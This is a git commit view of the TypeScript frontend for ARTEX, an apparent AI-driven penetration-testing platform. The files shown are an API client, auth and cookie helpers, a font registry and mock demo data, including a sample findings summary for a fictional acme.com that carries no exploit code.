chore: ARTEX 初始化

ARTEX — AI 自主渗透测试系统(Go 后端 + Next.js 前端,单二进制内嵌)。

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
This commit is contained in:
Autumn-27andClaude Opus 4.8 committed 2026-07-26 04:27:45 -04:00
commit 0ef8561411
287 files changed
+70178

No files matched your search

+443
View File
@@ -0,0 +1,443 @@
// Real backend client. /api/* is proxied to the Go backend (next.config rewrites).
// Returns the domain types in lib/types.ts. Shapes match the backend handlers;
// a few fields the backend serializes differently (e.g. created_at as a unix int)
// are passed through and formatted at the call site.
import { MOCK } from "@/lib/mock/enabled";
import { mockHandle } from "@/lib/mock/handler";
import type {
Task, Stats, Asset, AssetNode, Edge, Company, TaskNode, Finding, Activity,
Audit, TrafficResp, TrafficDetail, Settings, LLMProfile, Agent, AgentDetail, PromptVar,
PromptVersion, MCPServer, MCPTool, SkillItem, TokenUsage, TokenTotal, DailyTokenBucket,
Tool, Conversation, AgentTrigger,
InterceptRule, InterceptPending, InterceptApprovalRow,
TaskAssetView, SSProject, SSTask, ConvTokenSummary,
} from "@/lib/types";
function getToken(): string | null {
if (typeof window === "undefined") return null;
return localStorage.getItem("artex_token");
}
async function http<T>(path: string, init?: RequestInit): Promise<T> {
if (MOCK) return mockHandle<T>(init?.method ?? "GET", path, init?.body ?? null);
const token = getToken();
const r = await fetch(`/api${path}`, {
...init,
headers: {
...(init?.body ? { "Content-Type": "application/json" } : {}),
...(token ? { Authorization: `Bearer ${token}` } : {}),
...(init?.headers as Record<string, string> | undefined),
},
});
if (r.status === 401) {
if (typeof window !== "undefined") {
localStorage.removeItem("artex_token");
document.cookie = "artex_token=; path=/; max-age=0";
window.location.href = "/login";
}
throw new Error("未授权");
}
if (!r.ok) throw new Error(`${init?.method ?? "GET"} ${path}: ${r.status}`);
if (r.status === 204) return undefined as T;
return r.json();
}
// sseUrl builds a URL for Server-Sent Events streams. SSE must NOT go through the
// Next.js dev `/api` rewrite: that proxy buffers the streamed response, so event
// frames never reach the browser (the EventSource opens but receives 0 messages).
// We therefore connect straight to the Go backend, whose CORS is open. Override
// with NEXT_PUBLIC_SSE_BASE; set it to "" to force same-origin (e.g. behind a
// production reverse proxy that flushes SSE correctly).
// Token is appended as ?token= because SSE bypasses the Next.js proxy and the
// browser does not send cookies cross-port.
// mockReport returns a canned Markdown report for the demo.
function mockReport(_task?: string): string {
return `# ARTEX 渗透测试报告 — Acme Corp
## 概览
- 范围:acme.com(含 www / admin / api / shop / vpn 子域)
- 已确认发现:6 项(高危 3 · 中危 3 · 低危 2)
- 引擎模式:exploring
## 关键发现
1. **[高] 后台默认口令** admin.acme.com admin/admin123 → 可完全接管后台。
2. **[高] SQL 注入** www.acme.com/search?q= → 可读取 acme_prod 库。
3. **[高] IDOR** api.acme.com/v1/orders?id= → 可越权读取他人订单(含手机号/地址)。
4. **[中] 反射型 XSS**、**暴露 .git 源码**、**登录无速率限制**。
## 建议
- 后台强制改密 + 启用 MFA、封禁默认口令。
- search 接口参数化查询、输出编码。
- API 增加对象级授权校验(IDOR)、更换强 JWT 密钥。
> (demo)本报告由 mock 数据生成,仅用于界面演示。`;
}
export function sseUrl(path: string): string {
const base =
process.env.NEXT_PUBLIC_SSE_BASE ??
(typeof window !== "undefined"
? `${window.location.protocol}//${window.location.hostname}:8787`
: "");
const token = getToken();
const sep = path.includes("?") ? "&" : "?";
return token ? `${base}${path}${sep}token=${encodeURIComponent(token)}` : `${base}${path}`;
}
const get = <T>(p: string) => http<T>(p);
const post = <T>(p: string, body?: unknown) => http<T>(p, { method: "POST", body: body ? JSON.stringify(body) : undefined });
const put = <T>(p: string, body?: unknown) => http<T>(p, { method: "PUT", body: body ? JSON.stringify(body) : undefined });
const patch = <T>(p: string, body?: unknown) => http<T>(p, { method: "PATCH", body: body ? JSON.stringify(body) : undefined });
const del = <T>(p: string) => http<T>(p, { method: "DELETE" });
// Go serializes nil slices as JSON null — coerce to [].
const arr = <T>(x: T[] | null | undefined): T[] => x ?? [];
const tq = (task?: string, sep: "?" | "&" = "?") => (task ? `${sep}task=${encodeURIComponent(task)}` : "");
export const api = {
// ---- auth ----
authStatus: () => get<{ initialized: boolean }>("/auth/status"),
login: (username: string, password: string) =>
post<{ token: string }>("/auth/login", { username, password }),
initPassword: (password: string) =>
post<{ token: string }>("/auth/init", { password }),
changePassword: (oldPassword: string, newPassword: string) =>
post<{ ok: boolean }>("/auth/change-password", { old_password: oldPassword, new_password: newPassword }),
// ---- tasks ----
tasks: () => get<{ tasks: Task[]; active: string }>("/tasks").then((r) => ({ tasks: arr(r.tasks), active: r.active ?? "" })),
createTask: (description: string, goal: string, llmProfileId?: number, timeoutSeconds?: number) =>
post<Task>("/tasks", { description, goal, llm_profile_id: llmProfileId ?? null, timeout_seconds: timeoutSeconds ?? 0 }),
deleteTask: (id: string) => del<{ deleted: number }>(`/tasks/${id}`),
controlTask: (id: string, action: "pause" | "resume") => post<{ id: string; paused: boolean }>(`/tasks/${id}/control`, { action }),
setActive: (id: string) => post<{ active: string }>("/active", { id }),
// ---- stats ----
stats: (task?: string) => get<Stats>(`/stats${tq(task)}`),
// ---- assets ----
// Server-side paginated: pass limit/offset, get back the page + full match total.
assets: (type = "", limit = 50, offset = 0) =>
get<{ count: number; total: number; assets: Asset[] }>(`/assets?type=${type}&limit=${limit}&offset=${offset}`)
.then((r) => ({ assets: r?.assets ?? [], total: r?.total ?? r?.count ?? 0 })),
searchAssets: (dsl: string, type = "", limit = 50, offset = 0) =>
get<{ count: number; total: number; assets: Asset[] }>(
`/assets?dsl=${encodeURIComponent(dsl)}${type ? `&type=${encodeURIComponent(type)}` : ""}&limit=${limit}&offset=${offset}`,
).then((r) => ({ assets: r?.assets ?? [], total: r?.total ?? r?.count ?? 0 })),
assetCounts: () => get<Record<string, number>>("/assets/counts"),
deleteAssets: (ids: number[]) =>
http<{ deleted: number }>("/assets", { method: "DELETE", body: JSON.stringify({ ids }) }),
// legacy — kept for task-specific views; hits the same endpoint with task_id filter
taskAssets: (taskId: string, type = "") =>
get<{ count: number; assets: Asset[] }>(`/assets?task_id=${taskId}&type=${type}`)
.then((r) => r?.assets ?? []),
// ---- companies (企业 + 资产范围;归属唯一来源) ----
companies: () => get<Company[]>("/companies").then(arr),
createCompany: (name: string, logo: string, scope: string) =>
post<{ id: number; created: boolean; scope_added?: number; scope_invalid?: number; scope_errors?: string[] }>(
"/companies",
{ name, logo, scope: scope.trim() ? scope.split("\n").map((s) => s.trim()).filter(Boolean) : [] },
),
addCompanyScope: (id: number, scope: string, reason = "") =>
post<{ added: number; skipped: number; invalid: number; errors?: string[] }>(
`/companies/${id}/scope`,
{ scope: scope.trim() ? scope.split("\n").map((s) => s.trim()).filter(Boolean) : [], reason },
),
updateCompanyScope: (id: number, scope: string, reason = "") =>
post<{ added: number; skipped: number; invalid: number; errors?: string[] }>(
`/companies/${id}/scope`,
{ scope: scope.trim() ? scope.split("\n").map((s) => s.trim()).filter(Boolean) : [], reason, reset: true },
),
deleteCompany: (id: number, deleteAssets = false) =>
http<{ deleted: number; assets_deleted: number }>(`/companies/${id}`, {
method: "DELETE",
body: JSON.stringify({ delete_assets: deleteAssets }),
}),
// ---- exploration (per task) ----
frontier: (task?: string) => get<TaskNode[]>(`/exploration/frontier${tq(task)}`).then(arr),
findings: (task?: string) => get<Finding[]>(`/exploration/findings${tq(task)}`).then(arr),
intents: (task?: string) => get<TaskNode[]>(`/exploration/intents${tq(task)}`).then(arr),
tokenStats: (task?: string) =>
get<{ workers: TokenUsage[]; total: TokenTotal }>(`/exploration/tokens${tq(task)}`).then((r) => ({
workers: arr(r.workers),
total: r.total,
})),
tokenDaily: (days = 30) =>
get<DailyTokenBucket[]>(`/tokens/daily?days=${days}`).then(arr),
conversationTokens: () =>
get<ConvTokenSummary[]>("/tokens/conversations").then(arr).catch(() => [] as ConvTokenSummary[]),
explorationGraph: (task?: string) => get<{ nodes: TaskNode[]; edges: Edge[] }>(`/exploration/graph${tq(task)}`),
activity: (task?: string, opts?: { intent?: string; since?: number; limit?: number }) => {
const q = new URLSearchParams();
if (task) q.set("task", task);
if (opts?.intent) q.set("intent", opts.intent);
if (opts?.since) q.set("since", String(opts.since));
if (opts?.limit) q.set("limit", String(opts.limit));
return get<{ items: Activity[]; cursor: number }>(`/exploration/activity?${q.toString()}`).then((r) => ({ items: arr(r.items), cursor: r.cursor ?? 0 }));
},
activityDetail: (id: number, task?: string) => get<{ detail: string }>(`/exploration/activity/${id}${tq(task)}`),
// ---- traffic / audit / report / chat ----
audit: (task?: string) => get<Audit>(`/audit${tq(task)}`),
traffic: (page = 0, size = 100, host = "", method = "", q = "") =>
get<TrafficResp>(
`/traffic?page=${page}&size=${size}` +
(host ? `&host=${encodeURIComponent(host)}` : "") +
(method && method !== "all" ? `&method=${encodeURIComponent(method)}` : "") +
(q ? `&q=${encodeURIComponent(q)}` : ""),
),
trafficExchange: (id: string) =>
get<TrafficDetail>(`/traffic/exchange?id=${encodeURIComponent(id)}`),
// ---- app settings (runtime toggles) ----
settings: () => get<Settings>(`/settings`),
setSettings: (patch: Partial<Settings>) => put<Settings>(`/settings`, patch),
// Run a real "test" search with the given (or saved) config to verify it works.
testWebSearch: (patch: { web_search_backend?: string; web_search_proxy?: string; brave_search_api_key?: string; tavily_search_api_key?: string }) =>
post<{ ok: boolean; error?: string; count?: number; backend?: string }>(`/settings/web-search/test`, patch),
report: async (task?: string) => {
if (MOCK) return mockReport(task);
const token = getToken();
const r = await fetch(`/api/report${tq(task)}`, {
headers: token ? { Authorization: `Bearer ${token}` } : {},
});
if (!r.ok) throw new Error(`report: ${r.status}`);
return r.text();
},
chat: (message: string, task?: string) => post<{ reply: string; mode: string }>(`/chat${tq(task)}`, { message }),
stopChat: (taskId: string) => post<{ status: string }>(`/tasks/${taskId}/chat/stop`, {}),
gc: (ttl = 86400) => post<{ removed: number }>(`/gc?ttl=${ttl}`, {}),
// ---- LLM ----
getLLM: () => get<{ configured: boolean; provider: string; model: string; base_url: string; proxy?: string; key_set: boolean; rate_per_second?: number; rate_per_minute?: number; context_window_k?: number; reasoning_effort?: string }>("/llm"),
setLLM: (provider: string, model: string, base_url: string, api_key: string, rate_per_second = 0, rate_per_minute = 0, proxy = "", context_window_k = 0) =>
post("/llm", { provider, model, base_url, proxy, api_key, rate_per_second, rate_per_minute, context_window_k }),
testLLM: (
provider: string,
model: string,
base_url: string,
api_key: string,
proxy = "",
reasoning_effort = "",
profile_id?: number,
) =>
post<{ ok: boolean; error?: string; latency_ms?: number; model?: string }>("/llm/test", {
provider,
model,
base_url,
proxy,
api_key,
reasoning_effort,
profile_id,
}),
llmProfiles: () => get<{ profiles: LLMProfile[] }>("/llm/profiles").then((r) => arr(r.profiles)),
saveLLMProfile: (p: {
id?: number; // omit/0 = create; set = update that profile
name: string;
format: string;
model: string;
base_url?: string;
proxy?: string;
api_key?: string; // blank on update keeps the existing key
rate_per_second?: number;
rate_per_minute?: number;
context_window_k?: number;
reasoning_effort?: string; // ""|"off"|"low"|"medium"|"high"|"max"
}) => post<{ id: number }>("/llm/profiles", p),
deleteLLMProfile: (id: string) => del<{ deleted: number }>(`/llm/profiles/${id}`),
activateLLMProfile: (id: string) => post<{ ok: boolean }>("/llm/profiles/active", { id: Number(id) }),
// ---- agents ----
agents: () => get<{ agents: Agent[] }>("/agents").then((r) => arr(r.agents)),
getAgent: (key: string) => get<AgentDetail>(`/agents/${key}`),
createAgent: (key: string, name: string, description = "") =>
post<Agent>("/agents", { key, name, description }),
updateAgent: (key: string, name: string, description = "") =>
patch<{ ok: boolean }>(`/agents/${key}`, { name, description }),
deleteAgent: (key: string) => del<{ deleted: string }>(`/agents/${key}`),
// ---- conversations (chat page) ----
conversations: () => get<{ conversations: Conversation[] }>("/conversations").then((r) => arr(r.conversations)),
createConversation: (agent_key: string, title = "", llm_profile_id?: number | null) =>
post<Conversation>("/conversations", { agent_key, title, llm_profile_id: llm_profile_id ?? null }),
renameConversation: (id: number, title: string) => patch<{ ok: boolean }>(`/conversations/${id}`, { title }),
updateConversationProfile: (id: number, llm_profile_id: number | null) =>
patch<{ ok: boolean }>(`/conversations/${id}/profile`, { llm_profile_id }),
deleteConversation: (id: number) => del<{ deleted: number }>(`/conversations/${id}`),
conversationMessages: (id: number, since = 0) =>
get<{ items: Activity[]; cursor: number; running: boolean }>(`/conversations/${id}/messages?since=${since}`).then(
(r) => ({ items: arr(r.items), cursor: r.cursor ?? 0, running: !!r.running }),
),
conversationMsgDetail: (id: number, seq: number) =>
get<{ detail: string }>(`/conversations/${id}/messages/${seq}`).then((r) => r.detail ?? ""),
sendConversationMessage: (id: number, message: string) =>
post<{ status: string }>(`/conversations/${id}/messages`, { message }),
stopConversation: (id: number) => post<{ status: string }>(`/conversations/${id}/stop`, {}),
saveAgentPrompt: (key: string, template: string, note = "") => put<{ version: number }>(`/agents/${key}/prompt`, { template, note }),
resetAgentPrompt: (key: string) => post<{ version: number }>(`/agents/${key}/prompt/reset`, {}),
// 收尾提示词(超时/步数耗尽的 settlement 提示);prompt 空串=清除覆盖、用内置默认;
// max_turns 省略则不动、传 0=用内置默认轮数
saveAgentWrapup: (key: string, prompt: string, maxTurns?: number) =>
put<{ ok: boolean }>(`/agents/${key}/wrapup`, { prompt, max_turns: maxTurns }),
resetAgentWrapup: (key: string) =>
post<{ ok: boolean; wrapup_default: string; wrapup_max_turns_default: number }>(`/agents/${key}/wrapup/reset`, {}),
// 任务级超时收尾词(仅 worker/planner);prompt 空=清除、用内置默认
saveAgentTaskTimeoutWrapup: (key: string, prompt: string, maxTurns?: number) =>
put<{ ok: boolean }>(`/agents/${key}/wrapup/task-timeout`, { prompt, max_turns: maxTurns }),
resetAgentTaskTimeoutWrapup: (key: string) =>
post<{ ok: boolean; task_timeout_wrapup_default: string; task_timeout_wrapup_max_turns_default: number }>(`/agents/${key}/wrapup/task-timeout/reset`, {}),
// P3 triggers (仅自定义 agent)
agentTriggers: (key: string) =>
get<{ triggers: AgentTrigger[] }>(`/agents/${key}/triggers`).then((r) => arr(r.triggers)),
createTrigger: (key: string, t: Omit<AgentTrigger, "id" | "agent_key" | "last_fire">) =>
post<AgentTrigger>(`/agents/${key}/triggers`, t),
updateTrigger: (id: number, t: Omit<AgentTrigger, "id" | "agent_key" | "last_fire">) =>
patch<{ ok: boolean }>(`/triggers/${id}`, t),
deleteTrigger: (id: number) => del<{ deleted: number }>(`/triggers/${id}`),
saveAgentConfig: (key: string, patch: { max_turns: number; run_seconds?: number; web_search?: boolean; interactive_shell?: boolean }) =>
put<{ ok: boolean }>(`/agents/${key}/config`, patch),
agentPromptVersions: (key: string) => get<{ versions: PromptVersion[] }>(`/agents/${key}/prompts`).then((r) => arr(r.versions)),
agentVariables: (key: string) => get<{ variables: PromptVar[] }>(`/agents/${key}/variables`).then((r) => arr(r.variables)),
previewAgentPrompt: (key: string, template: string, sample?: Record<string, string>) =>
post<{ rendered: string; error?: string }>(`/agents/${key}/prompt/preview`, { template, sample }),
getAgentVisibility: (key: string) => get<{ mcp: number[]; skill: string[] }>(`/agents/${key}/visibility`),
setAgentVisibility: (key: string, mcp: number[], skill: string[]) => put<{ ok: boolean }>(`/agents/${key}/visibility`, { mcp, skill }),
// ---- tools (内置工具目录) ----
tools: () => get<{ tools: Tool[] }>("/tools").then((r) => arr(r.tools)),
saveTool: (key: string, patch: Pick<Tool, "description" | "schema" | "agents" | "enabled">) =>
put<{ ok: boolean }>(`/tools/${key}`, patch),
resetTool: (key: string) => post<{ ok: boolean }>(`/tools/${key}/reset`, {}),
// custom tools (自定义工具)
createCustomTool: (t: Pick<Tool, "key" | "description" | "schema" | "agents" | "enabled" | "kind" | "exec" | "deferred">) =>
post<{ key: string }>("/tools/custom", t),
updateCustomTool: (key: string, t: Pick<Tool, "description" | "schema" | "agents" | "enabled" | "kind" | "exec" | "deferred">) =>
put<{ ok: boolean }>(`/tools/custom/${key}`, t),
deleteCustomTool: (key: string) => del<{ deleted: string }>(`/tools/custom/${key}`),
testCustomTool: (body: { kind: string; exec: Record<string, unknown>; params: Record<string, unknown> }) =>
post<{ output: string; is_error: boolean }>("/tools/custom/test", body),
detectPython: () => post<{ python_interpreter: string }>("/settings/python/detect", {}),
// ---- mcp ----
mcpServers: () => get<{ servers: MCPServer[] }>("/mcp").then((r) => arr(r.servers)),
saveMcpServer: (m: Partial<MCPServer>) => post<{ id: number }>("/mcp", m),
deleteMcpServer: (id: number) => del<{ deleted: number }>(`/mcp/${id}`),
mcpTools: (id: number) => get<{ tools: MCPTool[] }>(`/mcp/${id}/tools`).then((r) => arr(r.tools)),
refreshMcpServer: (id: number) => post<{ tools: MCPTool[] }>(`/mcp/${id}/refresh`, {}).then((r) => arr(r.tools)),
// ---- 资产同步 (ScopeSentry 数据源) ----
ssStatus: () =>
get<{ exists: boolean; configured: boolean; enabled: boolean; reachable: boolean; url?: string; tools: string[] }>(
"/sync/scopesentry/status",
),
ssDatasource: (body: { url?: string; api_key?: string }) =>
post<{ id: number; enabled: boolean }>("/sync/scopesentry/datasource", body),
ssProjects: (page = 1, size = 50, search = "") =>
get<{ projects: SSProject[]; tag: Record<string, number> }>(
`/sync/scopesentry/projects?page=${page}&size=${size}${search ? `&search=${encodeURIComponent(search)}` : ""}`,
).then((r) => ({ projects: arr(r.projects), tag: r.tag ?? {} })),
ssTasks: (page = 1, size = 50, search = "") =>
get<{ tasks: SSTask[] }>(
`/sync/scopesentry/tasks?page=${page}&size=${size}${search ? `&search=${encodeURIComponent(search)}` : ""}`,
).then((r) => arr(r.tasks)),
ssSync: (body: {
dimension: "project" | "task";
targets: string[];
asset_types: string[];
create_company?: boolean;
page_size?: number;
}) =>
post<{
synced: Record<string, number>;
companies: string[] | null;
warnings: string[] | null;
errors: string[] | null;
}>("/sync/scopesentry/sync", body),
// ---- skills (文件系统) ----
skills: () => get<{ skills: SkillItem[] }>("/skills").then((r) => arr(r.skills)),
createSkill: (s: { name: string; description: string; license?: string; compatibility?: string; mcps?: string[]; instructions?: string }) =>
post<{ name: string }>("/skills", s),
// uploadSkill installs a skill from a .zip (multipart). Surfaces the backend
// error text (e.g. 已存在 / 缺少 SKILL.md) so the UI can show a precise message.
uploadSkill: async (file: File, overwrite = false): Promise<{ name: string; files: number }> => {
if (MOCK) return { name: file.name.replace(/\.zip$/i, ""), files: 1 };
const fd = new FormData();
fd.append("file", file);
const token = getToken();
const r = await fetch(`/api/skills/upload${overwrite ? "?overwrite=true" : ""}`, {
method: "POST",
body: fd,
headers: token ? { Authorization: `Bearer ${token}` } : {},
});
const body = await r.json().catch(() => ({}));
if (!r.ok) throw new Error(body?.error || `上传失败(${r.status})`);
return body;
},
deleteSkill: (name: string) => del<{ deleted: string }>(`/skills/${name}`),
updateSkillMeta: (name: string, meta: { mcps?: string[]; description?: string; license?: string; compatibility?: string }) =>
put<{ ok: boolean }>(`/skills/${name}/meta`, meta),
createSkillDir: (skill: string, path: string) =>
post<{ dir: string }>(`/skills/${skill}/dirs`, { path }),
skillFiles: (name: string) => get<{ files: string[] }>(`/skills/${name}/files`).then((r) => r.files),
readSkillFile: (name: string, file: string) =>
get<{ content: string; file: string }>(`/skills/${name}/files/${file}`).then((r) => r.content),
writeSkillFile: (name: string, file: string, content: string) =>
put<{ ok: boolean }>(`/skills/${name}/files/${file}`, { content }),
deleteSkillPath: (skill: string, path: string) =>
del<{ deleted: string }>(`/skills/${skill}/files/${path}`),
// ---- visibility (MCP resource side) ---- (agent ids are strings per spec)
resourceVisibility: (kind: string, id: number) => get<{ agents: string[] }>(`/visibility/${kind}/${id}`).then((r) => arr(r.agents)),
toggleVisibility: (agentId: string, kind: string, resourceId: number, visible: boolean) =>
post<{ ok: boolean }>("/visibility/toggle", { agent_id: agentId, kind, resource_id: resourceId, visible }),
// ---- visibility (Skill,按名称) ----
skillVisibility: (name: string) => get<{ agents: string[] }>(`/visibility/skill/${name}`).then((r) => arr(r.agents)),
toggleSkillVisibility: (agentId: string, skillName: string, visible: boolean) =>
post<{ ok: boolean }>("/visibility/skill/toggle", { agent_id: agentId, skill_name: skillName, visible }),
// ---- intercept rules ----
interceptRules: () => get<{ rules: InterceptRule[] }>("/intercept/rules").then((r) => arr(r.rules)),
createInterceptRule: (rule: Omit<InterceptRule, "id" | "created_at" | "updated_at">) =>
post<InterceptRule>("/intercept/rules", rule),
updateInterceptRule: (id: number, rule: Omit<InterceptRule, "id" | "created_at" | "updated_at">) =>
put<InterceptRule>(`/intercept/rules/${id}`, rule),
deleteInterceptRule: (id: number) => del<{ deleted: number }>(`/intercept/rules/${id}`),
toggleInterceptRule: (id: number, enabled: boolean) =>
post<{ ok: boolean; enabled: boolean }>(`/intercept/rules/${id}/toggle`, { enabled }),
// ---- intercept pending (ask) ----
interceptPending: () => get<{ pending: InterceptPending[] }>("/intercept/pending").then((r) => arr(r.pending)),
interceptGetOne: (id: number) => get<InterceptPending>(`/intercept/pending/${id}`),
interceptDecide: (id: number, decision: "allowed" | "denied") =>
post<{ ok: boolean }>(`/intercept/pending/${id}/decide`, { decision }),
interceptHistory: () => get<{ items: InterceptApprovalRow[] }>("/intercept/history").then((r) => arr(r.items)),
interceptTask: (taskId: string) => get<{ items: InterceptApprovalRow[] }>(`/intercept/task/${taskId}`).then((r) => arr(r.items)),
// ---- intercept tool-config (全局工具拦截范围) ----
interceptGetToolConfig: async (): Promise<{ enabled_tools: string[] }> => {
if (MOCK) return { enabled_tools: ["bash"] };
const token = getToken();
const r = await fetch("/api/intercept/tool-config", {
headers: token ? { Authorization: `Bearer ${token}` } : {},
});
if (!r.ok) throw new Error(await r.text());
return r.json();
},
interceptSetToolConfig: async (enabledTools: string[]): Promise<void> => {
if (MOCK) return;
const token = getToken();
const r = await fetch("/api/intercept/tool-config", {
method: "PUT",
headers: {
"Content-Type": "application/json",
...(token ? { Authorization: `Bearer ${token}` } : {}),
},
body: JSON.stringify({ enabled_tools: enabledTools }),
});
if (!r.ok) throw new Error(await r.text());
},
};
+46
View File
@@ -0,0 +1,46 @@
const TOKEN_KEY = "artex_token";
const COOKIE_MAX_AGE = 7 * 24 * 60 * 60; // 7 天(秒)
export interface CurrentUser {
id: string;
name: string;
username: string;
email: string;
avatar: string;
role: string;
}
export const auth = {
getToken(): string | null {
if (typeof window === "undefined") return null;
// Mock demo:无真实登录,返回一个假 token 让路由守卫放行、直接进主界面。
return localStorage.getItem(TOKEN_KEY) ?? (process.env.NEXT_PUBLIC_MOCK === "1" ? "mock-demo" : null);
},
setToken(token: string): void {
localStorage.setItem(TOKEN_KEY, token);
// 同步写 cookie,供 Next.js middleware 服务端读取
document.cookie = `${TOKEN_KEY}=${encodeURIComponent(token)}; path=/; max-age=${COOKIE_MAX_AGE}; SameSite=Lax`;
},
clearToken(): void {
localStorage.removeItem(TOKEN_KEY);
document.cookie = `${TOKEN_KEY}=; path=/; max-age=0`;
},
// 从 JWT payload 的 sub 字段解析当前用户,仅用于展示,不做签名验证。
getCurrentUser(): CurrentUser | null {
const token = this.getToken();
if (!token) return null;
try {
const parts = token.split(".");
if (parts.length !== 3) return null;
// base64url → base64
const payload = JSON.parse(atob(parts[1].replace(/-/g, "+").replace(/_/g, "/")));
const username: string = payload.sub ?? "ARTEX";
return { id: "1", name: username, username, email: "", avatar: "", role: "operator" };
} catch {
return null;
}
},
};
+24
View File
@@ -0,0 +1,24 @@
// Client-side cookie utilities.
// These functions manage cookies in the browser only.
// Server actions handle cookie updates on the server side.
function writeClientCookie(serializedCookie: string) {
// biome-ignore lint/suspicious/noDocumentCookie: This project still uses document.cookie for broad browser support.
document.cookie = serializedCookie;
}
export function setClientCookie(key: string, value: string, days = 7) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
writeClientCookie(`${key}=${value}; expires=${expires}; path=/`);
}
export function getClientCookie(key: string) {
return document.cookie
.split("; ")
.find((row) => row.startsWith(`${key}=`))
?.split("=")[1];
}
export function deleteClientCookie(key: string) {
writeClientCookie(`${key}=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`);
}
+197
View File
@@ -0,0 +1,197 @@
import {
DM_Sans,
Figtree,
Geist,
Geist_Mono,
Inter,
JetBrains_Mono,
Lora,
Merriweather,
Noto_Sans,
Noto_Serif,
Nunito_Sans,
Outfit,
Playfair_Display,
Public_Sans,
Raleway,
Roboto,
Roboto_Slab,
} from "next/font/google";
import { GeistPixelSquare } from "geist/font/pixel";
const inter = Inter({
subsets: ["latin"],
variable: "--font-inter",
});
const notoSans = Noto_Sans({
subsets: ["latin"],
variable: "--font-noto-sans",
});
const roboto = Roboto({
subsets: ["latin"],
weight: ["400", "500", "700"],
variable: "--font-roboto",
});
const geist = Geist({
subsets: ["latin"],
variable: "--font-geist",
});
const outfit = Outfit({
subsets: ["latin"],
variable: "--font-outfit",
});
const geistMono = Geist_Mono({
subsets: ["latin"],
variable: "--font-geist-mono",
});
const dmSans = DM_Sans({
subsets: ["latin"],
variable: "--font-dm-sans",
});
const nunitoSans = Nunito_Sans({
subsets: ["latin"],
variable: "--font-nunito-sans",
});
const figtree = Figtree({
subsets: ["latin"],
variable: "--font-figtree",
});
const raleway = Raleway({
subsets: ["latin"],
variable: "--font-raleway",
});
const publicSans = Public_Sans({
subsets: ["latin"],
variable: "--font-public-sans",
});
const jetBrainsMono = JetBrains_Mono({
subsets: ["latin"],
variable: "--font-jetbrains-mono",
});
const notoSerif = Noto_Serif({
subsets: ["latin"],
variable: "--font-noto-serif",
});
const robotoSlab = Roboto_Slab({
subsets: ["latin"],
variable: "--font-roboto-slab",
});
const merriweather = Merriweather({
subsets: ["latin"],
weight: ["400", "700"],
variable: "--font-merriweather",
});
const lora = Lora({
subsets: ["latin"],
variable: "--font-lora",
});
const playfairDisplay = Playfair_Display({
subsets: ["latin"],
variable: "--font-playfair-display",
});
export const fontRegistry = {
geist: {
label: "Geist",
font: geist,
},
inter: {
label: "Inter",
font: inter,
},
notoSans: {
label: "Noto Sans",
font: notoSans,
},
nunitoSans: {
label: "Nunito Sans",
font: nunitoSans,
},
figtree: {
label: "Figtree",
font: figtree,
},
roboto: {
label: "Roboto",
font: roboto,
},
raleway: {
label: "Raleway",
font: raleway,
},
dmSans: {
label: "DM Sans",
font: dmSans,
},
publicSans: {
label: "Public Sans",
font: publicSans,
},
outfit: {
label: "Outfit",
font: outfit,
},
geistMono: {
label: "Geist Mono",
font: geistMono,
},
geistPixelSquare: {
label: "Geist Pixel Square",
font: GeistPixelSquare,
},
jetBrainsMono: {
label: "JetBrains Mono",
font: jetBrainsMono,
},
notoSerif: {
label: "Noto Serif",
font: notoSerif,
},
robotoSlab: {
label: "Roboto Slab",
font: robotoSlab,
},
merriweather: {
label: "Merriweather",
font: merriweather,
},
lora: {
label: "Lora",
font: lora,
},
playfairDisplay: {
label: "Playfair Display",
font: playfairDisplay,
},
} as const;
export type FontKey = keyof typeof fontRegistry;
export const fontVars = (Object.values(fontRegistry) as Array<(typeof fontRegistry)[FontKey]>)
.map((f) => f.font.variable)
.join(" ");
export const fontOptions = (Object.entries(fontRegistry) as Array<[FontKey, (typeof fontRegistry)[FontKey]]>).map(
([key, f]) => ({
key,
label: f.label,
variable: f.font.variable,
}),
);
+19
View File
@@ -0,0 +1,19 @@
"use client";
export function setLocalStorageValue(key: string, value: string) {
try {
window.localStorage.setItem(key, value);
} catch (error) {
if (process.env.NODE_ENV !== "production") {
console.error("[localStorage] Failed to write value:", error);
}
}
}
export function getLocalStorageValue(key: string): string | null {
try {
return window.localStorage.getItem(key);
} catch {
return null;
}
}
+518
View File
@@ -0,0 +1,518 @@
// Rich mock dataset for the Vercel demo (NEXT_PUBLIC_MOCK=1). Shapes track the
// current backend contract in lib/api.ts + lib/types.ts. All data is static and
// self-consistent (one company "Acme", a few tasks, findings, exploration graph,
// sessions/activity, traffic, agents, etc.) so every page looks populated.
import type {
Activity, Agent, AgentDetail, Asset, Audit, Company, Conversation,
ConvTokenSummary, DailyTokenBucket, Edge, Finding, InterceptApprovalRow,
InterceptPending, InterceptRule, LLMProfile, MCPServer, MCPTool, PromptVar,
PromptVersion, Settings, SkillItem, Stats, TaskNode, Task, TokenTotal,
TokenUsage, Tool, TrafficResp, TrafficDetail,
} from "@/lib/types";
const T = (iso: string) => iso; // readability helper for timestamps
// ── Tasks ──────────────────────────────────────────────────────────────────
export const ACTIVE_TASK = "t-acme-web";
export const tasks: Task[] = [
{
id: "t-acme-web",
description: "Acme 官网与后台外部渗透(acme.com)",
goal: "拿到 acme.com 后台管理权限,确认可读取用户敏感数据。",
status: "running",
created_at: T("2026-07-24T09:12:00Z"),
created_unix: 1785489120,
last_activity: T("2026-07-26T03:58:22Z"),
last_activity_unix: 1785643102,
paused: false, active: true, in_flight: 3, stalled: false,
goals_total: 5, goals_met: 2, engine_mode: "exploring",
llm_profile_id: 1,
tokens: { input_tokens: 1284500, output_tokens: 96320, cache_read_tokens: 890400, cache_write_tokens: 132000 },
},
{
id: "t-acme-api",
description: "api.acme.com 越权与注入测试",
goal: "评估 api.acme.com 订单/用户接口的越权(IDOR)与注入风险。",
status: "running",
created_at: T("2026-07-25T14:05:00Z"),
created_unix: 1785592500,
last_activity: T("2026-07-26T03:40:10Z"),
last_activity_unix: 1785642010,
paused: false, active: false, in_flight: 2, stalled: false,
goals_total: 4, goals_met: 1, engine_mode: "exploring",
llm_profile_id: 1,
tokens: { input_tokens: 642300, output_tokens: 51200, cache_read_tokens: 401000, cache_write_tokens: 60000 },
},
{
id: "t-shop-pay",
description: "shop.acme.com 支付与订单链路",
goal: "评估支付与订单接口的越权、金额篡改与竞态风险。",
status: "paused",
created_at: T("2026-07-22T08:30:00Z"),
